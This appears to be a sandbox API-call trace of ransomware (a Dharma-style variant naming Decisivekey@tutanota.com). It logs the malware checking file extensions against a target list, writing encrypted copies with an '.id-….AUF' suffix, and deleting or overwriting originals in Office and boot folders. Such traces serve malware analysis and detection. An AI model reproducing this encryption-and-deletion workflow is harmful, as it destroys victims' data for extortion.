[0225.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString=".7z") returned 3 [0225.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0225.147] lstrlenW (lpString=".dbf") returned 4 [0225.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0225.147] lstrlenW (lpString=".1cd") returned 4 [0225.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0225.147] lstrlenW (lpString=".jpg") returned 4 [0225.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.147] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=16738) returned 1 [0225.147] CloseHandle (hObject=0x208) returned 1 [0225.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0225.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.148] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.148] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.148] GetLastError () returned 0x0 [0225.148] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4162, lpOverlapped=0x0) returned 1 [0225.152] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0225.153] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.153] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.153] SetEndOfFile (hFile=0x228) returned 1 [0225.153] CloseHandle (hObject=0x228) returned 1 [0225.153] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.153] SetEndOfFile (hFile=0x208) returned 1 [0225.154] CloseHandle (hObject=0x208) returned 1 [0225.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0225.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0225.154] lstrlenW (lpString=".doc") returned 4 [0225.154] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.154] lstrlenW (lpString=".docx") returned 5 [0225.154] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0225.154] lstrlenW (lpString=".pdf") returned 4 [0225.154] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.154] lstrlenW (lpString=".xls") returned 4 [0225.154] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.154] lstrlenW (lpString=".xlsx") returned 5 [0225.154] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0225.154] lstrlenW (lpString=".ppt") returned 4 [0225.154] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0225.154] lstrlenW (lpString=".zip") returned 4 [0225.154] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.154] lstrlenW (lpString=".rar") returned 4 [0225.154] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.154] lstrlenW (lpString=".bz2") returned 4 [0225.154] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.154] lstrlenW (lpString=".7z") returned 3 [0225.154] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0225.154] lstrlenW (lpString=".dbf") returned 4 [0225.154] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0225.154] lstrlenW (lpString=".1cd") returned 4 [0225.154] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0225.155] lstrlenW (lpString=".jpg") returned 4 [0225.155] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.155] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=9080) returned 1 [0225.155] CloseHandle (hObject=0x208) returned 1 [0225.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0225.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.155] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.155] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.156] GetLastError () returned 0x0 [0225.156] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2378, lpOverlapped=0x0) returned 1 [0225.164] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0225.164] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.164] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.164] SetEndOfFile (hFile=0x228) returned 1 [0225.164] CloseHandle (hObject=0x228) returned 1 [0225.165] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.165] SetEndOfFile (hFile=0x208) returned 1 [0225.165] CloseHandle (hObject=0x208) returned 1 [0225.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0225.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0225.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0225.165] lstrlenW (lpString=".doc") returned 4 [0225.165] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.166] lstrlenW (lpString=".docx") returned 5 [0225.166] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0225.166] lstrlenW (lpString=".pdf") returned 4 [0225.166] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.166] lstrlenW (lpString=".xls") returned 4 [0225.166] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.166] lstrlenW (lpString=".xlsx") returned 5 [0225.166] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0225.166] lstrlenW (lpString=".ppt") returned 4 [0225.166] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0225.166] lstrlenW (lpString=".zip") returned 4 [0225.166] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.166] lstrlenW (lpString=".rar") returned 4 [0225.166] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.166] lstrlenW (lpString=".bz2") returned 4 [0225.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.166] lstrlenW (lpString=".7z") returned 3 [0225.166] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0225.166] lstrlenW (lpString=".dbf") returned 4 [0225.166] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0225.166] lstrlenW (lpString=".1cd") returned 4 [0225.166] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0225.166] lstrlenW (lpString=".jpg") returned 4 [0225.166] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.167] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=43892) returned 1 [0225.167] CloseHandle (hObject=0x208) returned 1 [0225.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0225.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.167] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.167] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.167] GetLastError () returned 0x0 [0225.167] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xab74, lpOverlapped=0x0) returned 1 [0225.178] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xab80, lpOverlapped=0x0) returned 1 [0225.179] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.179] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.179] SetEndOfFile (hFile=0x228) returned 1 [0225.396] CloseHandle (hObject=0x228) returned 1 [0225.396] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.397] SetEndOfFile (hFile=0x208) returned 1 [0225.397] CloseHandle (hObject=0x208) returned 1 [0225.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) Thread: id = 18 os_tid = 0x5ec [0203.836] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.836] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.836] Wow64DisableWow64FsRedirection (in: OldValue=0x335ff58 | out: OldValue=0x335ff58*=0x0) returned 1 [0203.836] lstrlenW (lpString="kernel32.dll") returned 12 [0203.836] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.837] Sleep (dwMilliseconds=0x64) [0204.118] lstrcmpiW (lpString1=".ttf", lpString2=".AUF") returned 1 [0204.118] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0204.118] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0204.211] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=47452) returned 1 [0204.211] CloseHandle (hObject=0x178) returned 1 [0204.211] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0204.211] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.211] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.211] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.211] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.211] lstrlenW (lpString=".doc") returned 4 [0204.211] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0204.211] lstrlenW (lpString=".docx") returned 5 [0204.211] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0204.211] lstrlenW (lpString=".pdf") returned 4 [0204.211] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0204.233] lstrlenW (lpString=".xls") returned 4 [0204.233] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0204.269] lstrlenW (lpString=".xlsx") returned 5 [0204.269] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0204.269] lstrlenW (lpString=".ppt") returned 4 [0204.269] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.269] lstrlenW (lpString=".zip") returned 4 [0204.269] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0204.269] lstrlenW (lpString=".rar") returned 4 [0204.269] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString=".bz2") returned 4 [0204.269] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString=".7z") returned 3 [0204.269] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0204.269] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.269] lstrlenW (lpString=".dbf") returned 4 [0204.269] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.269] lstrlenW (lpString=".1cd") returned 4 [0204.269] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.269] lstrlenW (lpString=".jpg") returned 4 [0204.269] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.269] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.269] lstrlenW (lpString=".doc") returned 4 [0204.269] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0204.269] lstrlenW (lpString=".docx") returned 5 [0204.269] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0204.269] lstrlenW (lpString=".pdf") returned 4 [0204.270] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0204.270] lstrlenW (lpString=".xls") returned 4 [0204.270] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0204.270] lstrlenW (lpString=".xlsx") returned 5 [0204.270] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0204.270] lstrlenW (lpString=".ppt") returned 4 [0204.270] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0204.270] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.270] lstrlenW (lpString=".zip") returned 4 [0204.270] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0204.270] lstrlenW (lpString=".rar") returned 4 [0204.270] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0204.270] lstrlenW (lpString=".bz2") returned 4 [0204.270] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0204.270] lstrlenW (lpString=".7z") returned 3 [0204.270] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0204.270] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.270] lstrlenW (lpString=".dbf") returned 4 [0204.270] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0204.270] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.270] lstrlenW (lpString=".1cd") returned 4 [0204.270] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0204.270] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0204.270] lstrlenW (lpString=".jpg") returned 4 [0204.270] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0204.270] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0204.270] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0204.270] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.453] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2506240) returned 1 [0204.453] CloseHandle (hObject=0x194) returned 1 [0204.454] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0204.454] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.472] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0204.474] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.474] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0204.474] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0204.474] ReadFile (in: hFile=0x180, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.507] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0204.507] ReadFile (in: hFile=0x180, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.538] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0204.538] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0204.538] ReadFile (in: hFile=0x180, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.644] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.644] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0204.868] SetEndOfFile (hFile=0x180) returned 1 [0204.868] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, 